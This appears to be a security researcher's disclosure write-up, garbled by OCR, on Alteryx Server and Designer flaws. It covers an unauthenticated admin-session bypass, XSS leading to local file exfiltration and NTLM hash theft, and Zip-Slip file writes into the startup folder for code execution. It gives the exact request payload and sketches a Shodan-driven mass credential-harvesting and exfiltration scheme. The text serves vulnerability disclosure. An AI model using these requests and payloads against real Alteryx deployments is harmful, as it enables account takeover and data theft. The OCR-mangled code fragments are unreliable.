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OVERVIEW OF THE DISCOVERY

The following article details describes various vulnerabilities and gadgets
in Alteryx Server and Alteryx Designer. Given that eight of the ten largest
banks, Government Orgs, ...etc rely on Alteryx for data analytics, this
makes it a highly attractive target.

Market Share of Alteryx
Current Customer(s) Market Share (Est.) Ranking
4,689 1.95% #9

The vulnerabilities were uncovered during a penetration test of Alteryx
Server instance for customer XYZ, using a BlackBox approach with no
prior access or knowledge of the application. Nevertheless, an
'exploration mode/try harder' mindset proved to be the key to the
discovery.

Encountering Alteryx for the first time, we delved into its publicly
available documentation and began exploring the APl endpoints. Lacking
credentials, we concentrated on analysing the authentication logic and
processing of the application.

Our attention was drawn immediately to authentication, and here are the
officially documented Alteryx Server Authentication Methods:

e Built-in Authentication: Uses salted password hashes stored securely,
with passwords encrypted at rest using OS-provided cryptographic
functions.

e Single Sign-On (SSO): Supports SAML-based SSO, allowing
integration with IdPs like Microsoft Entra ID. Both Service Provider
(SP) and Identity Provider (IdP) initiated SSO are supported.

e Integrated Windows Authentication (IWA): Enables users to log in
using their Windows credentials, leveraging existing AD
infrastructure.

e Granular Permissions Model: Provides enterprise-grade security with
role-based access control, though not a login scheme itself, it
complements authentication methods



When examining the IWA authentication scheme, we found a critical yet
simple bug: sending no parameters to the Windows authentication
module causes the server to return an existing user’s Session ID,
Subscription ID, Email, Name, and other details. Repeating the request
generates a new session each time, which is odd behaviour for the
application, but it works.

Essentially, this exposes credentials and identity for further use. For
example, the generated Session ID could be used in subsequent
requests to inherit the compromised user identity and create new
account or perform other unauthorized actions like user’s data
exfiltration.

Proof of Concept

We will now walk through the discovery process in greater detail,
providing additional technical context.

To determine the application version, our first step was to consult the
documentation, which indicated that the /gallery/api/status/ APl endpoint
provides the application's status.

IsForAlteryxBetaTesting":null,
Name' : '

Additionally, the version is exposed through the X-Server Version HTTP
header included in the response to a HEAD request.



)1SaDled i Talse, SMCPENaADLEd : TalsSe,

0" ,"useCustomlLo :;__1 0":true,"webApi1BaseAddr:
X-AuthenticationType: sso
X-Serverlype: private

X-Frame-Ontions: SAMEORIGIN
X-ServerVersion: 2024.1.1.136

Our next step was to send a POST request to /gallery/api/auth/sessions/
APl endpoint with the following JSON payload

{"scheme":"windows","parameters":[]}
Note, there are no parameters provided, except the selected auth scheme

The response from this request included a sessionld, which could be used
in the HTTP X-Authorization header for subsequent requests to
authenticate against the /api endpoints.

Request

With the provided credentials we can now access the user’s data like
workflows and do a complete account takeover. We can amplify the
impact of this vulnerability by examining the role associated with the
inherited user session and potentially expand further.

In addition to the sessionld, the response includes details such as the
user's name, email, subscription ID, and role. In our case, the assigned
role was 'Curator' which is the most privileged role. Further verification via
the /gallery/api/usergroups/ APl endpoint confirmed that the 'Curator' role
is part of the Alteryx Administrators group.



"dateAdded" :"\/I
"id":"65d8a3

As administrators, we can proceed by creating a new account with the
'Curator' role to maintain access. Alternatively, to remain stealthy, we can
explore other methods to achieve persistence while retaining the same
level of permissions like automated token and sessionld rotation.

But we can be loud as well

Request
Pratty

"expirationDate":r

In summary from zero access to a complete administrator is always a
critical vulnerability, especially in such juicy software.

Black Hat Thoughts

As we are tech junkies, we always wonder and explore, we were
wondering about scaling this attack into something bigger and
automated. Here is what we are thinking.

It's common for software like Alteryx Server to be bought by Company A
and resold as a service to customers B, C, etc. To summarize, by
compromising a single instance, you will get data for various companies.
Since every POST request reveals a curator role account, opening the
door to automation:



e Use Shodan to find Alteryx instances or target a specific one.

e Set up a credentials harvester to hit that POST request, collecting and
storing credentials.

e Deploy a scheduled ‘Data Exfiltrator’ to parse those credentials and
pull the user’s data regularly.

# python3 alteryx.py

nfgallery/
Session ID: S8DDBEG4DT4ECEADSacdS5963c2e642a5032d8Thdac32feac9e5bf0593c6fle3c2efOab8lecaTdebl
subscription ID: 5cTec9545b7b871850664c92
Email: - m
Role: Curator
Alteryx Server Version: 2024.1.1.49 Patch: 1

In addition to data exfiltration, we can further penetrate the customer's
environment by reaching the /gallery/api/curator/config/current/ API
endpoint to extract configured credentials for the associated
authentication module, enabling further lateral movement into the
environment.

Here is an example of leaked SCIM configuration

Unfortunately, as part of the mitigation plan, customer XYZ hides the
Alteryx Instances behind VPN services, so we were unable to go further
and explore the Alteryx Server itself.

Still, imagine the damage a Blackhat could do with all that data, mostly
being finance, government or science related by exploiting this simple but
powerful vulnerability.

Less is mighty

Root Cause Analysis

Since the application is closed source, we can’t pinpoint the exact cause
of the bug nor identify all vulnerable versions. We conducted limited tests
against ¥10-15 random hosts and confirmed the following publicly
exposed versions as vulnerable:




2020.2.3.27789
2021.4.2.47895
2022.1.1.30961
2022.1.1.42707
2023.1.1123
2023.1.1.306
2023.2.1.51
2024.1.1.49
202411136
2024.1.1.209
2024.2.1.41
2024.2.1.14
2024.21.73
2024.2.1.94

Domain +inScope: https:// m/gallery/
Session ID: 8DD92F&D343DCD7f97552d0d25099cdbE5c217f553F95a8e5e52465
subscription ID: 5f88217f3da66clb2c4486be

Email: »m
Role: Curator
Alteryx Server Version: 2020.2.3.27789

The vulnerability in 2020 versions indicates it’s been present for a while
and the vendor confirms 2025 version are also affected. Thanks to the
quick and prompt response of the vendor, a fix was released within 10
days.

Patch release versions:
2025.1.11.31
2024.2.1.6.125
2024.11.9.236
2023.2.1.10.293
2023.1.1.13.486

All versions below version 2023 will stay vulnerable due to EOL support.

https://help.alteryx.com/release-notes/en/release-notes/server-release-
notes/server-2025-1-release-notes.html#security-updates-7122837

Artifacts

Exploit PoC:
https://gist.github.com/apostolovd/f84631eed2f0c0e83e2e174b1480f08c¢



Submission History

15 Jan 2025 - Initial discovery and disclosure to customer XYZ
8 May 2025 — Initial Vendor submission

9 June 2025 — Formal vendor acknowledgment

9 June 2025 — Submission of request for CVE ID

19 June 2025 — Vendor patch released

28 July 2025 — still no CVE response

Is that All?

What's Next? We're far from finished, as we’re eager to dive deeper into
these systems. Next, we'll explore Alteryx Server’s RCE capabilities and
investigate arbitrary file read and write vulnerabilities via the Alteryx
Designer desktop application.

Quick Hits First

Alteryx Server functions like DevOps pipelines, handling workflows (like
pipelines) and running jobs (like pipeline tasks) on workers (agents),
defaulting to localhost if none are configured. We focused on workflows
as a direct route to remote code execution (RCE) by crafting a malicious
workflow, such as one executing OS commands, and running it as a job
on the workers. This RCE was too straightforward to be satisfying. Lacking
access to a live Alteryx Server and finding RCE too easy, we were stacked
but we pursued more challenging vulnerability discoveries.

Alteryx Designer

Alteryx Designer, a desktop application, allows users to create, run, save,
and export workflows and apps locally, or on Alteryx Cloud, or on Alteryx
Server. As it can communicates with the Alteryx Server, which we’ve
theoretically compromised, we can tamper with server responses to
evaluate the Designer’s security.

We don’t have access to a live server for testing, but fortunately, every
publicly available Alteryx Server exposes its Swagger instance
(.../webapi/swagger/ui/index), allowing us to create a mocked server and
continue our tests.



Alteryx Designer requires a paid license, so we secured a 30-day demo
license to analyse all interactions between Designer and Server.

dave Ltri+y

Save As ! Browse

Create Workflow Group Alteryx Analytics Cloud ’

Print Alteryx Server ! Private Gallery

Print Settings Template ( http://192.168.64.1:3000 b )

Add New Server
Exit

Show Only When Running

By mocking each request, we reached the step just before uploading a
local workflow to the server for saving, and we found our first hit — a
classic vulnerability.

hittp://192.168.64.1:3000 Welcome, Alteryx

[ @ Eme'mg credentials has been dizabled due to an error on the sanver, I

Workflow Mame

| MNeaw [TTEEE | |

This page says
Local

Pent
work

None

Details

Add a comment (ophbonal ‘

 Wrrkflrw Ontinne

What? How? Which parameter? It's the top-bottom ‘Welcome Alteryx’
causing the XSS. Here’s a snippet of the HTML code, highlighting the
label with id username, which is dynamically replaced with the user’s
FirstName from the session object during rendering.

HTML Code:

DAL el O2oT WOLUWIIING
<span class="username-container">
<label class="welcome-label">XMSG("Welcome") , &nbsp;</label>
<label id="username"></label>
</span>

<span class="settinas" aria-label="settinas">



JavaScript Code:

if (username)
this. element.querySelector ('Fusername’ ( innerHTML. = username :)

window.Altervx.Gui.Manager.getDataltem("publishVersion') .setValue(true) ;

In other words, by injecting HTML tags into the user’s FirstName, which is
sent in the session object by the server, we achieved XSS exploitation.

Now XSS-capable, we can exploit WebView misconfigurations. To
demonstrate the impact, we’ll open a new window exposing several
functionalities like listing directories, read files with exfiltration to server
possibilities. In the screenshot below, we are showcasing directory listing.

JavaScript Command Execution

cnter J5 command

Collaborator Server Configuration

hitp /i7 38ght: F ewg 1d3aabnvrbpwzobftShu oastify com

Local File Exfiltration

Enter file path (e g., C:\Windows\System32\driversietcthosis) ] Send to Server

Read File

Local Directory Listing
) Send o Server

Directory Contents of file/ic /windows/systam32/

[parent directory)

U409/ (Directory)
Advancedinstallers! {Dectory)
AppLocker’ (Directory)
appraiser/ (Directory)

While in the next one, we read the content of a file and sends it to
attacker’s server thanks to fetch and the file:// scheme only .



Local File Exfiltration

(c..'!!empllocallileread et }

#( B Send to Server)

ontent of file:///c:temp/localfileread txt:
Vel ovelocalFileRead

Attempting to send content to collaborator server...
Content successfully sent to collaborator serverl

Pretty  Raw
POST / HTTP/1.1
Host: 738ghtx7ev
Content-Length:
X-File-Path: file:///c:/
X-Exfiltrated-File:

User-Agent: Mozilla/:
Content-Type:
Accept:

Origin: null
Accept-Encoding:
Accept-Language:
Connection: keep-a

Send to Server

We can read files and list directories, so what about network paths? If
network paths are allowed, Windows attempts authentication using the
current user’s credentials in NTLMv2 hash form. We can capture these
hashes, crack them, and obtain the user’s local Windows credentials.

Windows reliably resolves network paths and provides the current user’s
credentials. To summarize, we escalated from a simple XSS in an
unrestricted WebView?2 instance (CEF) to local file reading, directory

listing, and NTLMv2 hash exfiltration.



yxi and .yxzp execution flow

While this is cool, we aim for greater impact, so we began investigating
deeper the open, write, and update functions, particularly focusing on the
export functionality. To keep it concise, Alteryx uses extensions like .yxi
for packaging tools and .yxzp for packaging workflows/templates/apps.
These are essentially .zip files , despite their extension names, but each
triggers distinct functionality within the application.

00000000: '504b 0304

When we double-click a user.yxzp file, it opens in Alteryx Designer (as it’s
associated with this file type in Windows), prompting a confirmation
screen followed by another displaying the zip file’s structure.

Package Import

0 Import Alteryx Package?

N

However, opening a .yxi file causes Designer to install it without any
confirmation or additional prompts. This is an interesting feature, but for
now, we set it aside to dive deeper into the export functionality.

The frontend relies on Events and a custom JSEvent system from the
Alteryx HTML SDK, with one specific event triggering the export workflow
process (creating a zip file, or rather, a .yxzp file) :

ﬂ'l'}f[]hj = A

®

r— T - "
a LNumt -

1
hy
window.Alteryx.JsEvent(JSON.stringify(myObj));




To summarize the application logic, it takes a user.yxtr /.yxmd/... file, zips
it, and renames the archive to .yxzp. Zip functionalities are always a
priority to investigate, so we examined how the application handles zip
archiving and extraction. We can export to .yxzp files and open them, but
how does this work? Alteryx developers use a temporary ‘Staging’ folder
in user/appdata/local/temp/, creating a subfolder with a GUID name to
store temporary files for both archiving and extraction. Once the process
completes, the staging folder is deleted. At first glance, this seems secure,
but we managed to disrupt the ‘Staging’ process, preventing the .yxzp file
from being extracted while leaving the staging files undeleted. Attackers
can also control the filename via the pathAndFileName parameter and
directory traversal it, though this alone isn’t highly exploitable. Continuing
our tests, we focused on zip libraries and discovered a Zip-Slip
vulnerability, allowing directory traversal during extraction in the Staging
process, enabling us to write files anywhere the current user’s NT LocalFS
permissions allow. Let’s demonstrate our discovery in action.

[ ] [ ]
Slip-Zip Attack
There are many tools/ways to utilize the slip-zip vulnerability and in our
case, we will use python implementation available at

https://github.com/Alamot/code-
snippets/blob/master/path traversal/path traversal archiver.py

userflocals slip-zip % touch 123
user@locals slip-zip % python3 pathTraversalArchiver.py -1 10 -o win -p /temp/ 123 rs.zip

Creating archive rs.zip
[#] Adding ..M. oNeoMNeoNeoNooNeoNeoNeoN e NEemp\123

When the archive is created, we can validate it by using xxd tool to view
the hex representation of the file.

user@locals slip-zip % xxd rs.
00000000: 504b 0304 1400 0000
00000010: 0000 0000 0000 OOOO
00000020: 2f2e 2e2f 2e2e 2fle

00000030: 2e2e 2f2e 2e2f 2ele
00000040: 2£31 3233 504b 0102
00000050

We can rename it to .yxi as well as to .yxzp files and test the behaviour of
the application.


https://github.com/Alamot/code-snippets/blob/master/path_traversal/path_traversal_archiver.py
https://github.com/Alamot/code-snippets/blob/master/path_traversal/path_traversal_archiver.py

.yxi File Extensions

Double-clicking a .yxi file automatically launches Alteryx Designer,
resulting in an error because it expects additional files (like config.json)
required by the application logic, while it is not existing in our PoC zip file.

Tool Installer

@O et

Alteryx Designer x64 x

Tool Installer Error: Unable to find a configuration file.

e

To access the config.json file, the application must first extract it, meaning
it processes the zip file during the staging phase and attempts to read the
config file. Due to the Zip-Slip vulnerability, the Zip library successfully
wrote a file to C:\Temp\ instead of the user’s appdata folder.

o N > IMISFL 3> LOCAILISK W) > Temp
hf\d Home MName
@ OneDrive B useryxtd
[ tsthta
~ @l Desktop S B rsyxzp
teryx Designer] i Downloads  # B rsyi
B Cocuments # [] LocalFileRead.txt
Tool Installer Errg R Pictures .,
@ Music +
& Videos »

AltenyxGUI
temp

.yxzp File Extensions

The process for opening .yxzp files differs, as noted earlier, and is safer
than .yxi files. After a confirmation import dialog, the application displays
the zip file’s contents, including our Zip-Slip payload.

Package Import

Package File Name: C:\temp'\rs.yzp
Waorkflow:

Destination Directory: |

( LR LRLLA Memphl 23)




However, proceeding still results in an error, but the file is extracted,
nonetheless.

Package File Hame: Chitempius.yzp
Workflow:

Destination Directory: C-temp'vs D

Workflow Import

Import Complete

Failure to Import C:\lemp\rs yzp
The file "rs" does not exst

S 0K

To summarize our findings, we can craft a Zip-Slip archive and let the
application extract it for us. This sounds simple, but let’s turn it into a
weaponized exploit.

Attack Scenario

During reverse engineering and mapping the application logic, we
discovered a valuable snippet of code in the ‘open workflow from Server’
functionality. Which later calls the DownloadPackage():

[CefRegister]
public vold DownloadPackage()
S
tiry
{

- 11 =
((if (_golleryPackage.Gallerylocation.PackageType == Pa:lcagel’ype.fhunbed}a string.Compare(_golleryPockoge.Gallerylocation Version, “YXIP®, Stri

L
DownloadChunkedPackage() ;

else

{
tnaunlnadvuxppackage[};]

}
if (DownloodedPackese |= null & DownlocdedPackase.Gallerviocation.Location == null)

This confirms the application can load not only XML files but also .yxzp
files from the remote server. The PackageType parameter, derived from
GalleryLocation during workflow retrieval, allows this. With our mocked
server, we can mark our workflow to be a zip file, by setting
isChunkedPackage to false, instead of XML definitions. Here’s an example
server response for such workflow definitions:



When isChunkedPackage is set to false, Designer triggers a sequential
call to the server, expecting octet-stream data instead of XML. We also
need to configure our server to deliver the zip file content.

pp-get( " /api/apps/61@ab463c3178014def19252/package

filePath path.join{__dirname, '

I fs.existsSync(filePath)
n res.status(404).send(

setHeader

res.setHeader

fileStream = fs.createReadStream(f
fileStream.pipe(res);

With this setup, we can connect Designer to our malicious private gallery
server to let it retrieve a list of workflows including our exploited one,

download the .yxzp file, and attempt to open it (bypassing the usual
import-module confirmation dialogs).

t Private Gallery

Alberys ® temp
5 I f lé (1) New
€1, Search for workiyas, macios, of 4pps Welcome, Alt<img src onermor=alerti)y>enyx
. v v ThisPC » Local Disk(C) » temy
- Al Workflows Macros Apps Al ocations
£ Home Mame
@ OneDrne Ye—
P n_m ) 0 tat.hita
iy A 0 Alioas @ Deskop ’ B sy
+ Downloads  # B i
S Documents  # L] LocalfleRead. et

W Birturee

Upon opening, an error message appears:




Workflow Import

Import Complete

Failure to Import C:\Users‘user'AppData‘\Local\Temp\Staging \¥ B 74835
c9bf-425-537a-62165d 15d68b \Align_monthly yzp.

The file "¥3748a5c%f-42b5-9372-62169d15d68b" does not exist.

OK

Despite the error, our file is written to disk, currently in C:\Temp. What if
we place an executable in the user’s startup folder?

— T B useryxtd
Workflow Import [ tst.hta
Import Complete @ Desktop * B 15.yxzp
Failure to Import C:\Users'\user\AppDa ] .
cHbi-4265-9372-62169d15d68'\Mign] ¥ Downloads I
"7 -4 7: i
The file "¥8748a5c%f-4265-937a-62 Bty @ [7) LocalFileRead.txt
123
B Pictures » D
0 Music *
| & Videos »
AlteryxGUI
temp

On the next reboot or logoff/login, we will achieve RCE on the end-user’s
machine. To avoid the errors during import, we can use a legitimate .yxzp
file and patch it with our Zip-Slip payload.

Full Attack Chain Diagram

To offer a full perspective, we designed a diagram depicting all phases
and steps required to exploit both the server infrastructure and end-user
systems.

Less is mighty!
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